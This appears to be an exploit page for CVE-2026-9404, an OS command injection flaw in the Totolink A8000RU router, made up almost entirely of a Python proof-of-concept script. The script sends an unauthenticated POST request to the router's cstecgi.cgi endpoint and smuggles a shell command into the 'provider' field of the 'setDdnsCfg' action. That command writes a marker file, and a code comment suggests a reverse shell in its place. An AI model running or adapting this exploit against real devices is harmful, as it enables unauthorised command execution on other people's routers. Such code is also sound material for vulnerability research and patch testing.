CVE-2026-9404 Totolink A8000RU OS命令注入漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Malicious payload to inject OS command # Example: Reversing shell or just creating a file to prove concept payload = "; echo 'CVE-2026-9404_vuln' > /tmp/poc.txt; #" # Data dictionary mimicking the vulnerable function data = { "action": "setDdnsCfg", "provider": payload } try: # Sending POST request without authentication response = requests.post(target_url, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the file /tmp/poc.txt was created on the target.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")